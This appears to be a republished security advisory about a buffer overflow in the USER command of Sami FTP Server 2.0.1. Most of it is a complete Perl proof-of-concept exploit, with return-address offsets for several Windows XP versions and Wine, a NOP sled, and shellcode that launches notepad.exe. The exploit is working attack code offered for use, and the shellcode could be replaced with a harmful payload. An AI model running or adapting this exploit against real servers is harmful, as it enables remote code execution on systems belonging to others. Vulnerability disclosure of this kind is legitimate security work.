Summary
"Sami FTP Server gives you an easy way to share files with your friends or your family: only a few clicks are needed to set up a small but powerful FTP server!"

SamiFTPd does not validate user input allowing attackers to execute arbitrary code when using the USER command.

Credit:
The information has been provided by critical.lt.
The original article can be found at: http://www.critical.lt/?vulnerabilities/208
The original exploit can be found at: http://www.critical.lt/research/sami_ftp_poc.txt

Details
Vulnerable Systems:
* SamiFTPd version 2.0.1

Exploit:
#!/usr/bin/perl
# Sami FTP Server v2.0.1 Remote notepad.exe execution PoC by Critical Security research http://www.critical.lt
# Tested on Windows XP SP2, Windows XP SP0 and even on FreeBSD 6.0-RELEASE Wine 0.9.6 :))

use Net::FTP; # <- jo, a tinginys :)
use Switch;

if (@ARGV < 3) {
print "--------------------------------------------------------------------\n";
print "Usage : exploit.pl -hVictimsIPAddress -yYourIPAddress -oOffsetNumber\n";
print " Offsets: \n";
print " 1 - 0x76B43AE0 Windows XP SP2 winmm.dll call esp\n";
print " 2 - 0x76B5D17B Windows XP SP1 winmm.dll call esp\n";
print " 3 - 0x71AB7BFB Windows XP SP0 ws2_32.dll jmp esp\n";
print " 4 - 0x9C2295DF FreeBSD 6.0-RELEASE Wine 0.9.6 kernel32.dll jmp esp\n";
print " If values not specified, default values will be used.\n";
print " Example : ./eploit.pl -h127.0.0.1 -y127.0.0.1 -o1\n";
print "--------------------------------------------------------------------\n";
}
$host = "127.0.0.1"; # aukos ip
$yourip = "127.0.0.1" ; # Reikalingas tam, kad b t galima sulyginti elkod , nes i steka sira o ir jusu ip adresas, todel ra ykit savo i orini (jei neturit tokio - gateway ip)
$offset = "\xE0\x3A\xB4\x76"; # defaultinis offsetas winmm.dll esant call esp (WinXP SP 2)

foreach (@ARGV) {
$host = $1 if ($_=~/-h((.*)\.(.*)\.(.*)\.(.*))/);
$yourip = $1 if ($_=~/-y((.*)\.(.*)\.(.*)\.(.*))/);
$offset = $1 if ($_=~/-o(.*)/);
}
#offset suradimui naudokit findjmp.exe arba metasploit.com opcod db ;) (call esp/jmp esp..)
switch ($offset) {
case 1 { $offset = "\xE0\x3A\xB4\x76" } # Windows XP SP2 winmm.dll call esp
case 2 { $offset = "\x7B\xD1\xB5\x76" } # Windows XP SP1 winmm.dll call esp
case 3 { $offset = "\xFB\x7B\xAB\x71" } # Windows XP SP0 ws2_32.dll jmp esp
case 4 { $offset = "\xDF\x95\x22\x9C" } # FreeBSD 6.0-RELEASE Wine 0.9.6 kernel32.dll jmp esp
}

foreach $letter (split '', $yourip) { $c++;};
$ftp = Net::FTP->new($host, Debug => 0) or die "Cannot connect: $@";
$user = "A" x 213 . # va iuojam iki returno :O (cia irgi galima ki t elkod :) )
"A" x (15 - $c) . # dar keli baitai sulyginimui, nes stek taip pat sira o ir ip adresas, tod l reikia pagal j paskai iuot, kur ra yt ret adres
$offset . # ret adresas kokio dll'o call esp ar jmp esp, ar ka nors pana aus svarbu, kad nu oktume esp ;)
"\x90" x 25 . # nop' sled'as, kad sulygintume su esp esan iu adresu

# elkodas paleid iantis notepad ( elkodas skirtas tiem kas sak , jog critical m gsta DoS :*) - nor sit, sid sit normal ..
"\xEB\x61\x56\x6A\x30\x59\x64\x8B\x01\x8B\x40\x0C".
"\x8B\x70\x1C\xAD\x8B\x40\x08\x5E\xC3\x60\x8B\x6C".
"\x24\x24\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B".
"\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x34\x49\x8B\x34".
"\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0\x74".
"\x07\xC1\xCF\x0D\x01\xC7\xEB\xF4\x3B\x7C\x24\x28".
"\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B".
"\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\x89\x44\x24".
"\x1C\x61\xC3\xE8\x9A\xFF\xFF\xFF\x68\x98\xFE\x8A".
"\x0E\x50\xE8\xA2\xFF\xFF\xFF\xEB\x02\xEB\x05\xE8".
"\xF9\xFF\xFF\xFF\x5B\x83\xC3\x1C\x33\xC9\x88\x0B".
"\x83\xEB\x0B\x41\x51\x53\xFF\xD0\x90\x6E\x6F\x74".
"\x65\x70\x61\x64\x2E\x65\x78\x65\x01";
$ftp->login("$user","biatch");